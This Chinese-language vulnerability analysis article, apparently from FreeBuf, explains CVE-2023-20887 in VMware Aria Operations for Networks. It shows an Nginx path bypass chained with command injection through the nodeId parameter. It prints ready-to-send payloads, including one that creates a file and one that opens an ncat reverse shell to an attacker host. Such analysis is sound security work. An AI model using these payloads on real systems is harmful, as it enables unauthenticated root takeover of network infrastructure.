![VMware Aria Operations for Networks 远程代码执行漏洞(CVE-2023-20887)分析 VMware Aria Operations for Networks 远程代码执行漏洞(CVE-2023-20887)分析]()
VMware Aria Operations for Networks 是一款网络监控与管理工具,用于构建和管理优化安全网络基础架构。最近,研究人员发现了 VMware Aria Operations for Networks(以下简称 Aria Operations)中存在命令注入漏洞,影响该软件 6.2 至 6.10 版本。服务器配置中的漏洞以及不正确的输入处理导致了该漏洞,未经身份验证的用户以及有权访问 Aria Operations 的恶意攻击者都可以利用该漏洞以管理员权限实现远程代码执行。该漏洞 CVE 编号已经被分配为 CVE-2023-20887,其 CVSS 3.1 得分为 9.8 分。本文以 6.9 版本的 Aria Operations 为例,详细介绍 CVE-2023-20887 的漏洞利用细节。
Aria Operations 使用 Java 语言开发,提供多云部署的端到端网络可见性管理人员会使用该软件监控必要的网络管理操作。Aria Operations 所有网络管理功能都可以通过 443 端口上的 Web 界面来操作,Nginx 不仅用作 Web 服务器,也当作反向代理配置各种转发规则。此外,Aria Operations 还使用 Apache Thrift 框架来定义 RPC 接口来实现这些端点的功能。
在 Aria Operations 存在漏洞的版本中,Nginx 中定义的规则存在错误配置导致了未授权访问。此外,还有个 API 函数使用管理员权限接受用户输入而不对其进行处理。将这两个漏洞结合起来,攻击者可以发送特定的请求来实现远程代码执行。
攻击者利用两个漏洞:Nginx 的错误配置以及由于用户输入校验不当导致的命令注入,接下来详细介绍二者。
Aria Operations 使用 Nginx 配置的 Apache Thrift RPC 服务的反向代理。查看 /etc/nginx/sites-enabled 中的 Nginx 配置信息,可以看到对 /saasresttosaasservlet 的访问会被限制。也就是说,Nginx 反向代理只接受来自 localhost 的网络流量,然后将该流量重定向到本地 9090 端口上运行的服务。
如下所示,攻击者找到了方法绕过这个限制。下图显示 Nginx 接受对前缀为 /saas 的任意请求,覆写此处即可将其重定向到本地端口 9090。
这意味着攻击者对 /saas./resttosaasservlet 的请求将会被覆写并允许在本地 9090 端口访问 /./resttosaasservlet。
但在此之前,首先要确认无法从 localhost 以外的 IP 地址直接访问 /saasresttosaasservlet。下图显示,尝试访问该地址时会收到 403 Forbidden 的响应信息。
当然,这是预料之中的。如下所示,再次从 localhost 以外的 IP 地址针对 /saas./resttosaasservlet 发出请求,已经能够访问。图中的失败显示 500 Internal Server Error 是因为相应的 Servlet 无法处理,但实际上并不是完全没有办法了。
既然针对 /saas./resttosaasservlet 的请求会被重定向到本地 9090 端口,可以查看本地 9090 端口上运行什么服务。
如上所示,进程 ID 为 8480 的 Java 进程正监听本地 9090 端口。通过 ps 命令,可以查看该进程的详细信息。如下所示,可以发现进程是从 /home/ubuntu/build-target/saasservice/ 处执行 saasservice-0.001-SNAPSHOT.jar 的。
如下所示,反编译该 Jar 文件后,就可以发现 /resttosaasservlet 的响应由 Rest-saas 通过 ManagementEndpointServlet() 函数进行处理。
如下所示,在 ManagementEndpointServlet() 中会调用 RestToSaasCommunication.Processor(),这也是在 RestToSaasCommunication 类中进行定义的。
【ManagementEndpointServlet() 函数】
RestToSaasCommunication 类具有多个函数。如下所示,每个进程映射到 RestToSaasCommunication 类支持的函数,主要查看 createSupportBundle() 的内部实现。
【RestToSaasCommunication 类】
如下所示,在 createSupportBundle() 中包含四个参数:customerId、nodeId、requestId 和 evictionRequestIds。
【createSupportBundle() 函数】
用户传递的四个参数中,可以看到参数 nodeId 的值被传递给了 evictPublishedSupportBundles()。
【evictPublishedSupportBundles() 函数】
evictPublishedSupportBundles() 在将参数传递给 Shell 脚本前,不会对其进行校验。将特定的 Payload 作为 nodeId 参数传递,就可以实现以管理员权限在 Shell 中执行任意命令。
研究人员测试的是存在漏洞的 Aria Operations 6.9.0 版本。
如下所示,从 Wireshark 中可以看出,点击会通过 createSupportBundle 请求调用 /resttosaasservlet。
createSupportBundle 请求如下所示:
[1,"createSupportBundle",1,0,{"1":{"str":"<string>"},"2":{"str":"<string>"},"3":{"str":"<string>"},"4":{"lst":<list>}}]
(向右滑动,查看更多)
将前述内容结合在一起。以 creatSupportBundle 的格式为例,将前文提到的错误配置与命令注入结合起来。将以下请求发送到 /saas./resttosaasservlet,尝试在 /tmp 目录下创建一个 hacked.txt 文件。
[1,"createSupportBundle",1,0,{"1":{"str":"1111"},"2":{"str":"`touch /tmp/hacked.txt`"},"3":{"str":"value3"},"4":{"lst":["str",2,"Random","Random"]}}]
(向右滑动,查看更多)
响应为 200 OK,可以确认该文件已经在 /tmp 目录中创建:
该文件的创建确认了攻击者可以通过该漏洞进行远程代码执行。
首先使用 netcat 监听本地计算机的 3333 端口。
使用 ncat 192.168.1.49 3333 -e /bin/sh 并发送以下请求:
[1,"createSupportBundle",1,0,{"1":{"str":"1111":{"str":"`ncat 192.168.1.49 3333 –e /bin/sh`"},"3":{"str":"value3"},"4":{"lst":["str",2,"AAAA","BBBB"]}}]
(向右滑动,查看更多)
属于管理员用户组的 ubuntu 用户在攻击者计算机的 3333 端口上接入了反向 Shell。
通过 sudo -l 命令,可以看到 ubuntu 用户没有任何限制,可以执行所有 root 权限的操作。当然,用户也可以使用 sudo -i 获取 root 访问权限。
【
原文始发于微信公众号(FreeBuf):VMware Aria Operations for Networks 远程代码执行漏洞(CVE-2023-20887)分析
评论